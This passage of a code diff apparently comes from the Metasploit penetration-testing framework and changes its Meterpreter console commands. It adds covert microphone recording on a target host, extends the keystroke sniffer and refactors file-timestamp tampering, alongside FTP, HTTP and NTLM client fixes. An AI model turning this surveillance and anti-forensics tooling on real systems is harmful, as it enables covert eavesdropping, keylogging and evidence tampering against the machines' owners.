-          accessed  = str_to_time(val)
-          creation  = str_to_time(val)
-          emodified = str_to_time(val)
-        when "-f"
-          print_status("Setting MACE attributes on #{file_path} from #{val}")
-          client.priv.fs.set_file_mace_from_file(file_path, val)
-        when "-b"
-          print_status("Blanking file MACE attributes on #{file_path}")
-          client.priv.fs.blank_file_mace(file_path)
-        when "-r"
-          print_status("Blanking directory MACE attributes on #{file_path}")
-          client.priv.fs.blank_directory_mace(file_path)
-        when "-v"
-          hash = client.priv.fs.get_file_mace(file_path)
+              if blank_file_mace
+                print_status("Blanking file MACE attributes on #{path}")
+                client.priv.fs.blank_file_mace(path)
+              end
 
-          print_line("Modified      : #{hash['Modified']}")
-          print_line("Accessed      : #{hash['Accessed']}")
-          print_line("Created       : #{hash['Created']}")
-          print_line("Entry Modified: #{hash['Entry Modified']}")
-        when "-h"
-          print_line("\nUsage: timestomp file_path OPTIONS\n" +
-            @@timestomp_opts.usage)
-          return
+              if blank_directory_mace
+                print_status("Blanking directory MACE attributes on #{path}")
+                client.priv.fs.blank_directory_mace(path)
+              end
+
+              if get_file_mace
+                hash = client.priv.fs.get_file_mace(path)
+                print_status("Showing MACE attributes for #{path}")
+                print_line("Modified      : #{hash['Modified']}")
+                print_line("Accessed      : #{hash['Accessed']}")
+                print_line("Created       : #{hash['Created']}")
+                print_line("Entry Modified: #{hash['Entry Modified']}")
+              end
+            end
+          end
+
+          protected
+
+          #
+          # Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
+          #
+          def str_to_time(str) # :nodoc:
+            unless str.nil?
+              _r, mon, day, year, hour, min, sec =
+                str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
+            end
+
+            if str.nil? || mon.nil?
+              raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
+            end
+
+            Time.mktime(year, mon, day, hour, min, sec, 0)
+          end
+        end
       end
-    }
-
-    # If any one of the four times were specified, change them.
-    if (modified or accessed or creation or emodified)
-      print_status("Setting specific MACE attributes on #{file_path}")
-      client.priv.fs.set_file_mace(file_path, modified, accessed,
-        creation, emodified)
     end
   end
-
-protected
-
-  #
-  # Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
-  #
-  def str_to_time(str) # :nodoc:
-    r, mon, day, year, hour, min, sec = str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
-
-    if (mon == nil)
-      raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
-    end
-
-    Time.mktime(year, mon, day, hour, min, sec, 0)
-  end
-
-end
-
-end
-end
-end
 end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
index 22335011bd..5697ce5d18 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
@@ -18,6 +18,7 @@ class Console::CommandDispatcher::Stdapi
   require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys'
   require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui'
   require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam'
+  require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic'
 
   Klass = Console::CommandDispatcher::Stdapi
 
@@ -28,6 +29,7 @@ class Console::CommandDispatcher::Stdapi
       Klass::Sys,
       Klass::Ui,
       Klass::Webcam,
+      Klass::Mic
     ]
 
   include Console::CommandDispatcher
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
index 508d4820ea..58f5a18843 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
@@ -28,6 +28,8 @@ class Console::CommandDispatcher::Stdapi::Fs
   @@download_opts = Rex::Parser::Arguments.new(
     "-h" => [ false, "Help banner." ],
     "-c" => [ false, "Resume getting a partially-downloaded file." ],
+    "-a" => [ false, "Enable adaptive download buffer size." ],
+    "-b" => [ true,  "Set the initial block size for the download." ],
     "-l" => [ true,  "Set the limit of retries (0 unlimits)." ],
     "-r" => [ false, "Download recursively." ],
     "-t" => [ false, "Timestamp downloaded files." ])
@@ -102,18 +104,7 @@ class Console::CommandDispatcher::Stdapi::Fs
       'show_mount' => ['stdapi_fs_mount_show'],
     }
 
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
@@ -382,6 +373,10 @@ class Console::CommandDispatcher::Stdapi::Fs
 
     @@download_opts.parse(args) { |opt, idx, val|
       case opt
+      when "-a"
+        opts['adaptive'] = true
+      when "-b"
+        opts['block_size'] = val.to_i
       when "-r"
         recursive = true
         opts['recursive'] = true
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic.rb
new file mode 100644
index 0000000000..b032bd830d
--- /dev/null
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic.rb
@@ -0,0 +1,201 @@
+class Mic
+end# -*- coding: binary -*-
+require 'rex/post/meterpreter'
+require 'bindata'
+
+module Rex
+  module Post
+    module Meterpreter
+      module Ui
+
+        ###
+        #
+        # Mic - Capture audio from the remote system
+        #
+        ###
+        class Console::CommandDispatcher::Stdapi::Mic
+          Klass = Console::CommandDispatcher::Stdapi::Mic
+
+          include Console::CommandDispatcher
+
+          #
+          # List of supported commands.
+          #
+          def commands
+            all = {
+              'mic_start' => 'start capturing an audio stream from the target mic',
+              'mic_stop'  => 'stop capturing audio',
+              'mic_list'  => 'list all microphone interfaces',
+              'listen'    => 'listen to a saved audio recording via audio player'
+            }
+            reqs = {
+              'mic_start' => [ 'audio_mic_start' ],
+              'mic_stop'  => [ 'audio_mic_stop' ],
+              'mic_list'  => [ 'audio_mic_list' ],
+              'listen'    => [ 'audio_mic_start' ]
+            }
+
+            filter_commands(all, reqs)
+          end
+
+          #
+          # Name for this dispatcher
+          #
+          def name
+            "Stdapi: Mic"
+          end
+
+          def cmd_mic_list
+            client.mic.mic_list
+            if client.mic.mic_list.length == 0
+              print_error("No mics were found")
+              return
+            end
+
+            client.mic.mic_list.each_with_index do |name, indx|
+              print_line("#{indx + 1}: #{name}")
+            end
+          end
+
+          def audio_file_wave_header(sample_rate_hz:, num_channels:, bits_per_sample:, data_size:)
+            subchunk1_size = 16
+            chunk_size = 4 + (8 + subchunk1_size) + (8 + data_size)
+            byte_rate = sample_rate_hz * num_channels * bits_per_sample / 8
+            block_align = num_channels * bits_per_sample / 8
+
+            [
+              BinData::Int32be.new(0x52494646),      # ChunkID: "RIFF"
+              BinData::Int32le.new(chunk_size),      # ChunkSize
+              BinData::Int32be.new(0x57415645),      # Format: "WAVE"
+              BinData::Int32be.new(0x666d7420),      # SubChunk1ID: "fmt "
+              BinData::Int32le.new(16),              # SubChunk1Size
+              BinData::Int16le.new(1),               # AudioFormat
+              BinData::Int16le.new(num_channels),    # NumChannels
+              BinData::Int32le.new(sample_rate_hz),  # SampleRate
+              BinData::Int32le.new(byte_rate),       # ByteRate
+              BinData::Int16le.new(block_align),     # BlockAlign
+              BinData::Int16le.new(bits_per_sample), # BitsPerSample
+              BinData::Int32be.new(0x64617461),      # SubChunk2ID: "data"
+              BinData::Int32le.new(data_size)        # SubChunk2Size
+            ]
+          end
+
+          def cmd_mic_start(*args)
+            get_data = lambda do |channel, file|
+              data = channel.read(65536)
+              if data
+                ::File.open(file, 'a') do |f|
+                  f.write(data)
+                end
+                return data.length
+              end
+              return 0
+            end
+            device_id = 1
+            duration = 1800
+            saved_audio_path = Rex::Text.rand_text_alpha(8) + ".wav"
+
+            mic_start_opts = Rex::Parser::Arguments.new(
+              "-h" => [ false, "Help Banner" ],
+              "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
+              "-m" => [ true, "Microphone device index to record from (1: system default)" ],
+              "-s" => [ true, "The saved audio file path (Default: '#{saved_audio_path}')" ]
+            )
+
+            mic_start_opts.parse(args) do |opt, _idx, val|
+              case opt
+              when "-h"
+                print_line("Usage: mic_start [options]\n")
+                print_line("Streams and records audio from the target microphone.")
+                print_line(mic_start_opts.usage)
+                return
+              when "-d"
+                duration = val.to_i
+              when "-m"
+                device_id = val.to_i
+              when "-s"
+                saved_audio_path = val
+              end
+            end
+
+            mic_list = client.mic.mic_list
+            if mic_list.length == 0
+              print_error("Target does not have a mic")
+              return
+            end
+            if device_id < 1 || device_id > mic_list.length
+              print_error("Target does not have a mic with an id of #{device_id}")
+              return
+            end
+
+            channel = client.mic.mic_start(device_id)
+            if channel.nil?
+              print_error("Mic failed to start streaming.")
+              return
+            end
+            print_status("Saving to audio file: #{saved_audio_path}")
+            print_status("Streaming started...")
+            total_data_len = 0
+            begin
+              ::File.open(saved_audio_path, 'wb') do |outfile|
+                audio_file_wave_header(sample_rate_hz: 11025, num_channels: 1, bits_per_sample: 16, data_size: 2_000_000_000).each {
+                  |e| e.write(outfile)
+                }
+              end
+              ::Timeout.timeout(duration) do
+                while client do
+                  Rex::sleep(0.5)
+                  total_data_len += get_data.call(channel, saved_audio_path)
+                end
+              end
+            rescue ::Timeout::Error
+            ensure
+              total_data_len += get_data.call(channel, saved_audio_path)
+              client.mic.mic_stop
+              print_status("Streaming stopped.")
+              # Now that we know the actual length of data, update the file header.
+              ::File.open(saved_audio_path, 'rb+') do |outfile|
+                outfile.seek(0, ::IO::SEEK_SET)
+                audio_file_wave_header(sample_rate_hz: 11025, num_channels: 1, bits_per_sample: 16, data_size: total_data_len).each {
+                  |e| e.write(outfile)
+                }
+              end
+            end
+          end
+
+          def cmd_listen(*args)
+            filename = nil
+
+            listen_opts = Rex::Parser::Arguments.new(
+              "-h" => [ false, "Help Banner" ],
+              "-f" => [ true, "audio filename" ]
+            )
+
+            listen_opts.parse(args) do |opt, _idx, val|
+              case opt
+              when "-h"
+                print_line("Usage: listen -f <filename>\n")
+                print_line("Plays saved audio from a file.")
+                print_line(listen_opts.usage)
+                return
+              when "-f"
+                filename = val
+              end
+            end
+
+            if filename.nil?
+              print_error("use '-f' option to provide a filename for playback")
+              return
+            end
+
+            Rex::Compat.play_sound(::File.expand_path(filename))
+          end
+
+          def cmd_mic_stop
+            client.mic.mic_stop
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb
index 5fd824d90e..e46eae9db2 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb
@@ -108,18 +108,7 @@ class Console::CommandDispatcher::Stdapi::Net
       'resolve'  => ['stdapi_net_resolve_host'],
     }
 
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
index acfe737328..5e7e987eda 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
@@ -71,6 +71,20 @@ class Console::CommandDispatcher::Stdapi::Sys
     "-c" => [ false, "Filter only child processes of the current shell" ],
     "-h" => [ false, "Help menu." ])
 
+  #
+  # Options for the 'pgrep' command.
+  #
+  @@pgrep_opts = Rex::Parser::Arguments.new(
+    "-S" => [ true,  "Filter on process name" ],
+    "-U" => [ true,  "Filter on user name" ],
+    "-A" => [ true,  "Filter on architecture" ],
+    "-x" => [ false, "Filter for exact matches rather than regex" ],
+    "-s" => [ false, "Filter only SYSTEM processes" ],
+    "-c" => [ false, "Filter only child processes of the current shell" ],
+    "-l" => [ false, "Display process name with PID" ],
+    "-f" => [ false, "Display process path and args with PID (combine with -l)" ],
+    "-h" => [ false, "Help menu." ])
+
   #
   # Options for the 'suspend' command.
   #
@@ -143,19 +157,7 @@ class Console::CommandDispatcher::Stdapi::Sys
       "sysinfo"     => [ "stdapi_sys_config_sysinfo" ],
       "localtime"   => [ "stdapi_sys_config_localtime" ],
     }
-
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
@@ -257,7 +259,7 @@ class Console::CommandDispatcher::Stdapi::Sys
         print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
         cmd_execute("-f", path, "-c", "-H", "-i")
       end
-    when 'linux'
+    when 'linux', 'osx'
       # Don't expand_path() this because it's literal anyway
       path = "/bin/sh"
       cmd_execute("-f", path, "-c", "-i")
@@ -418,9 +420,19 @@ class Console::CommandDispatcher::Stdapi::Sys
   # Filters processes by name
   #
   def cmd_pgrep(*args)
-    if args.include?('-h')
-      cmd_pgrep_help
-      return true
+    f_flag = false
+    l_flag = false
+
+    @@pgrep_opts.parse(args) do |opt, idx, val|
+      case opt
+      when '-h'
+        cmd_pgrep_help
+        return true
+      when '-l'
+        l_flag = true
+      when '-f'
+        f_flag = true
+      end
     end
 
     all_processes = client.sys.process.get_processes
@@ -430,10 +442,6 @@ class Console::CommandDispatcher::Stdapi::Sys
       return true
     end
 
-    # XXX fix Rex parser to properly handle adjacent short flags
-    f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl')
-    l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl')
-
     processes.each do |p|
       if l_flag
         if f_flag
@@ -451,7 +459,7 @@ class Console::CommandDispatcher::Stdapi::Sys
   def cmd_pgrep_help
     print_line("Usage: pgrep [ options ] pattern")
     print_line("Filter processes by name.")
-    print_line @@ps_opts.usage
+    print_line @@pgrep_opts.usage
   end
 
   #
@@ -886,13 +894,21 @@ class Console::CommandDispatcher::Stdapi::Sys
     if args.include? "-h"
       cmd_getprivs_help
     end
-    print_line("=" * 60)
-    print_line("Enabled Process Privileges")
-    print_line("=" * 60)
+
+    table = Rex::Text::Table.new(
+      'Header'    => 'Enabled Process Privileges',
+      'Indent'    => 0,
+      'SortIndex' => 1,
+      'Columns'   => ['Name']
+    )
+
+    privs = client.sys.config.getprivs
     client.sys.config.getprivs.each do |priv|
-      print_line("  #{priv}")
+      table << [priv]
     end
-    print_line("")
+
+    print_line
+    print_line(table.to_s)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
index 844129db33..0e706edbde 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
@@ -49,19 +49,7 @@ class Console::CommandDispatcher::Stdapi::Ui
         "stdapi_ui_enable_keyboard"
       ]
     }
-
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
@@ -293,8 +281,28 @@ class Console::CommandDispatcher::Stdapi::Ui
   # Start the keyboard sniffer
   #
   def cmd_keyscan_start(*args)
-    print_line("Starting the keystroke sniffer...")
-    client.ui.keyscan_start
+    trackwin = false
+
+    keyscan_opts = Rex::Parser::Arguments.new(
+      "-h" => [ false, "Help Banner." ],
+      "-v" => [ false, "Verbose logging: tracks the current active window in which keystrokes are occuring." ]
+    )
+
+    keyscan_opts.parse( args ) { | opt |
+      case opt
+       when "-h"
+        print_line("Usage: keyscan_start <options>")
+        print_line("Starts the key logger")
+        print_line(keyscan_opts.usage)
+        return
+       when "-v"
+        print_line("Verbose logging selected ...")
+        trackwin = true
+       end
+    }
+
+    print_line("Starting the keystroke sniffer ...")
+    client.ui.keyscan_start(trackwin)
     return true
   end
 
@@ -313,8 +321,9 @@ class Console::CommandDispatcher::Stdapi::Ui
   def cmd_keyscan_dump(*args)
     print_line("Dumping captured keystrokes...")
     data = client.ui.keyscan_dump
-    print_line(data)
-
+    print_line(data + "\n")      # the additional newline is to keep the resulting output
+                                 # from crowding the Meterpreter command prompt, which
+                                 # is visually frustrating without color
     return true
   end
 
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
index 447097cd2b..bc8b270630 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
@@ -34,18 +34,7 @@ class Console::CommandDispatcher::Stdapi::Webcam
       "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
       "record_mic"    => [ "webcam_audio_record" ]
     }
-
-    all.delete_if do |cmd, _desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb
index f562d7f29a..d5793f28e5 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb
@@ -60,12 +60,13 @@ module Ui
       end
       print_good("Driver PMEM loaded successfully")
       #Arbitrary big buffer size, could be optimized
-      buffer_size = 2**17
+      buffer_size = 2 ** 17
       bytes_read = 0
       next_message_byte = memory_size / 10
+      print_good("Dumping #{memory_size} bytes (press Ctrl-C to abort)")
       begin
         data = channel.read(buffer_size)
-        until channel.eof
+        until channel.eof || data.nil?
           fd.write(data)
           bytes_read += data.length
           data = channel.read(buffer_size)
diff --git a/lib/rex/proto/ftp.rb b/lib/rex/proto/ftp.rb
new file mode 100644
index 0000000000..3829328cc5
--- /dev/null
+++ b/lib/rex/proto/ftp.rb
@@ -0,0 +1,4 @@
+# -*- coding: binary -*-
+# Adds support for the FTP protocol
+
+require 'rex/proto/ftp/client'
diff --git a/lib/rex/proto/ftp/client.rb b/lib/rex/proto/ftp/client.rb
new file mode 100644
index 0000000000..92e518e774
--- /dev/null
+++ b/lib/rex/proto/ftp/client.rb
@@ -0,0 +1,346 @@
+# -*- coding: binary -*-
+
+require 'rex/socket'
+
+module Rex
+  module Proto
+    module Ftp
+      ###
+      #
+      # Acts as a client to an FTP server
+      # See the RFC: https://www.w3.org/Protocols/rfc959/
+      #
+      ###
+      class Client
+        #
+        # Creates a new client instance.
+        #
+        def initialize(host, port = 21, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', verbose = false)
+          self.hostname = host
+          self.port     = port.to_i
+          self.context  = context
+          self.ssl      = ssl
+          self.ssl_version = ssl_version
+          self.proxies  = proxies
+          self.username = username
+          self.password = password
+          self.verbose  = verbose
+        end
+
+        #
+        # This method estabilishes a connection to the host on the port
+        # defined in opts{}, if the connection is successful, the method
+        # returns a socket which can be used to communicate with the client
+        #
+        def connect
+          nsock = Rex::Socket::Tcp.create(
+            'PeerHost'      =>  self.hostname,
+            'PeerPort'      =>  self.port,
+            'LocalHost'     => "0.0.0.0",
+            'LocalPort'     =>  0.to_i,
+            'SSL'           =>  self.ssl,
+            'SSLVersion'    =>  self.ssl_version,
+            'Proxies'       => self.proxies
+          )
+          self.sock = nsock
+          self.banner = recv_ftp_resp(nsock)
+          print_status("Connected to target FTP server.") if self.verbose
+          nsock
+        end
+
+        #
+        # This method reads an FTP response based on FTP continuation
+        #
+        def recv_ftp_resp(nsock = self.sock)
+          found_end = false
+          resp = ""
+          left = ""
+          if !@ftpbuff.empty?
+            left << @ftpbuff
+            @ftpbuff = ""
+          end
+          while true
+            data = nsock.get_once(-1, ftp_timeout)
+            if !data
+              @ftpbuff << resp
+              @ftpbuff << left
+              return data
+            end
+
+            got = left + data
+            left = ""
+
+            # handle the end w/o newline case
+            enlidx = got.rindex(0x0a.chr)
+            if enlidx != (got.length - 1)
+              if !enlidx
+                left << got
+                next
+              else
+                left << got.slice!((enlidx + 1)..got.length)
+              end
+            end
+
+            # split into lines
+            rarr = got.split(/\r?\n/)
+            rarr.each do |ln|
+              if !found_end
+                resp << ln
+                resp << "\r\n"
+                if ln.length > 3 && ln[3, 1] == ' '
+                  found_end = true
+                end
+              else
+                left << ln
+                left << "\r\n"
+              end
+            end
+            if found_end
+              @ftpbuff << left
+              print_status("FTP recv: #{resp.inspect}") if self.verbose
+              return resp
+            end
+          end
+        end
+
+        #
+        # This method transmits a FTP command and does not wait for a response
+        #
+        def raw_send(cmd, nsock = self.sock)
+          print_status("FTP send: #{cmd.inspect}") if self.verbose
+          nsock.put(cmd)
+        end
+
+        #
+        # This method transmits a FTP command and waits for a response.  If one is
+        # received, it is returned to the caller.
+        #
+        def raw_send_recv(cmd, nsock = self.sock)
+          nsock.put(cmd)
+          nsock.get_once(-1, ftp_timeout)
+        end
+
+        #
+        # This method uses the senduser and sendpass methods defined below
+        # in order to login to the ftp server
+        #
+        def connect_login
+          ftpsock = connect
+
+          if !(self.user && self.pass)
+            print_error("No username and password were supplied, unable to login")
+            return false
+          end
+
+          print_status("Authenticating as #{user} with password #{pass}...") if self.verbose
+          res = send_user(user, ftpsock)
+
+          if res !~ /^(331|2)/
+            print_error("The server rejected our username") if self.verbose
+            return false
+          end
+
+          if pass
+            print_status("Sending password...") if self.verbose
+            res = send_pass(pass, ftpsock)
+            if res !~ /^2/
+              print_error("The server rejected our password") if self.verbose
+              return false
+            end
+          end
+
+          true
+        end
+
+        #
+        # This method logs in as the supplied user by transmitting the FTP
+        # 'USER <user>' command.
+        #
+        def send_user(user, nsock = self.sock)
+          raw_send("USER #{user}\r\n", nsock)
+          recv_ftp_resp(nsock)
+        end
+
+        #
+        # This method completes user authentication by sending the supplied
+        # password using the FTP 'PASS <pass>' command.
+        #
+        def send_pass(pass, nsock = self.sock)
+          raw_send("PASS #{pass}\r\n", nsock)
+          recv_ftp_resp(nsock)
+        end
+
+        #
+        # This method handles establishing datasocket for data channel
+        #
+        def data_connect(mode = nil, nsock = self.sock)
+          if mode
+            res = send_cmd([ 'TYPE', mode ], true, nsock)
+            return nil if not res =~ /^200/
+          end
+
+          # force datasocket to renegotiate
+          self.datasocket.shutdown if self.datasocket != nil
+
+          res = send_cmd(['PASV'], true, nsock)
+          return nil if not res =~ /^227/
+
+          # 227 Entering Passive Mode (127,0,0,1,196,5)
+          if res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/
+            # convert port to FTP syntax
+            datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
+            dataport = ($5.to_i * 256) + $6.to_i
+            self.datasocket = Rex::Socket::Tcp.create(
+              'PeerHost' => datahost,
+              'PeerPort' => dataport
+            )
+          end
+          self.datasocket
+        end
+
+        #
+        # This method handles disconnecting our data channel
+        #
+        def data_disconnect
+          self.datasocket.shutdown if self.datasocket
+          self.datasocket = nil
+        end
+
+        #
+        # This method sends one command with zero or more parameters
+        #
+        def send_cmd(args, recv = true, nsock = self.sock)
+          cmd = args.join(" ") + "\r\n"
+          ret = raw_send(cmd, nsock)
+          if recv
+            return recv_ftp_resp(nsock)
+          end
+          ret
+        end
+
+        #
+        # This method sends a QUIT command.
+        #
+        def send_quit(nsock = self.sock)
+          raw_send("QUIT\r\n", nsock)
+          recv_ftp_resp(nsock)
+        end
+
+        #
+        # This method transmits the command in args and receives / uploads DATA via data channel
+        # For commands not needing data, it will fall through to the original send_cmd
+        #
+        # For commands that send data only, the return will be the server response.
+        # For commands returning both data and a server response, an array will be returned.
+        #
+        # NOTE: This function always waits for a response from the server.
+        #
+        def send_cmd_data(args, data, mode = 'a', nsock = self.sock)
+          type = nil
+          # implement some aliases for various commands
+          if args[0] =~ /^DIR$/i || args[0] =~ /^LS$/i
+            # TODO || args[0] =~ /^MDIR$/i || args[0] =~ /^MLS$/i
+            args[0] = "LIST"
+            type = "get"
+          elsif args[0] =~ /^GET$/i
+            args[0] = "RETR"
+            type = "get"
+          elsif args[0] =~ /^PUT$/i
+            args[0] = "STOR"
+            type = "put"
+          end
+
+          # fall back if it's not a supported data command
+          if !type
+            return send_cmd(args, true, nsock)
+          end
+
+          # Set the transfer mode and connect to the remove server
+          return nil if !data_connect(mode)
+
+          # Our pending command should have got a connection now.
+          res = send_cmd(args, true, nsock)
+          # make sure could open port
+          return nil unless res =~ /^(150|125) /
+
+          # dispatch to the proper method
+          if type == "get"
+            # failed listings jsut disconnect..
+            begin
+              data = self.datasocket.get_once(-1, ftp_timeout)
+            rescue ::EOFError
+              data = nil
+            end
+          else
+            sent = self.datasocket.put(data)
+          end
+
+          # close data channel so command channel updates
+          data_disconnect
+
+          # get status of transfer
+          ret = nil
+          if type == "get"
+            ret = recv_ftp_resp(nsock)
+            ret = [ ret, data ]
+          else
+            ret = recv_ftp_resp(nsock)
+          end
+
+          ret
+        end
+
+        #
+        # Function implementing 'ls' or list files command
+        #
+        def ls
+          datasocket = data_connect
+          send_cmd(["list"])
+          output = datasocket.get
+          data_disconnect
+          output
+        end
+
+        #
+        # Function implementing 'pwd' or present working directory command
+        #
+        def pwd
+          send_cmd(["pwd"])
+        end
+
+        #
+        # Function implementing 'cd' or change directory command
+        #
+        def cd(path)
+          send_cmd(["cwd " + path])
+        end
+
+        #
+        # Function implementing download command
+        #
+        def download(filename)
+          datasocket = data_connect
+          send_cmd(["retr", filename])
+          output = datasocket.get
+          file = File.open(filename, "wb")
+          file.write(output)
+          file.close
+          data_disconnect
+        end
+
+        #
+        # Function implementing upload command
+        #
+        def upload
+          datasocket = data_connect
+          file = File.open(filename, "rb")
+          data = file.read
+          file.close
+          send_cmd(["stor", filename])
+          datasocket.write(data)
+          data_disconnect
+        end
+      end
+    end
+  end
+end
diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb
index cb1c245860..b3c110bb1e 100644
--- a/lib/rex/proto/http/client.rb
+++ b/lib/rex/proto/http/client.rb
@@ -191,9 +191,9 @@ class Client
   # Closes the connection to the remote server.
   #
   def close
-    if (self.conn)
+    if self.conn && !self.conn.closed?
       self.conn.shutdown
-      self.conn.close unless self.conn.closed?
+      self.conn.close
     end
 
     self.conn = nil
diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb
index 7d20737078..b551336840 100644
--- a/lib/rex/proto/http/client_request.rb
+++ b/lib/rex/proto/http/client_request.rb
@@ -173,7 +173,10 @@ class ClientRequest
     req << set_version
 
     # Set a default Host header if one wasn't passed in
-    unless opts['headers'] && opts['headers'].keys.map { |x| x.downcase }.include?('host')
+    if opts['headers'] && opts['headers'].keys.map(&:downcase).include?('host')
+      host = opts['headers'].keys.each { |k| break opts['headers'][k] if k =~ /host/i }
+      req << set_formatted_header('Host', host)
+    else
       req << set_host_header
     end
 
diff --git a/lib/rex/proto/ntlm/crypt.rb b/lib/rex/proto/ntlm/crypt.rb
index 5e64547a8b..9a0e9a1c14 100644
--- a/lib/rex/proto/ntlm/crypt.rb
+++ b/lib/rex/proto/ntlm/crypt.rb
@@ -301,7 +301,7 @@ BASE = Rex::Proto::NTLM::Base
       end
       calculatedhash = self.ntlm2_session(argntlm,optntlm).join[24,24]
     else
-      raise ArgumentError,"ntlm_ver is of unknow type"
+      raise ArgumentError,"ntlm_ver is of unknown type"
     end
     hash == calculatedhash
   end
diff --git a/lib/rex/proto/ntlm/utils.rb b/lib/rex/proto/ntlm/utils.rb
index a7b2cb27ff..d16c2f3c58 100644
--- a/lib/rex/proto/ntlm/utils.rb
+++ b/lib/rex/proto/ntlm/utils.rb
@@ -459,7 +459,7 @@ class Utils
     # Microsoft network server : Server SPN target name validation level is set to <Required from client>
     # otherwise it send an STATUS_ACCESS_DENIED packet
     if spnopt[:use_spn]
-      spn= Rex::Text.to_unicode("cifs/#{spnopt[:name] || 'unknow'}")
+      spn= Rex::Text.to_unicode("cifs/#{spnopt[:name] || 'unknown'}")
       addr_list  << [9, spn.length].pack('vv') + spn
     end
 
diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb
index 7e0004295b..9df4abb8f5 100644
--- a/lib/rex/proto/ntp/modes.rb
+++ b/lib/rex/proto/ntp/modes.rb
@@ -1,6 +1,6 @@
 # -*- coding: binary -*-
 
-require 'bit-struct'
+require 'bindata'
 
 module Rex
 module Proto
@@ -16,24 +16,25 @@ module NTP
   #   pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf
   #   http://tools.ietf.org/html/rfc1305#appendix-D
   #   http://tools.ietf.org/html/rfc5905#page-19
-  class NTPGeneric < BitStruct
+  class NTPGeneric < BinData::Record
     #    0                   1                   2                   3
     #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
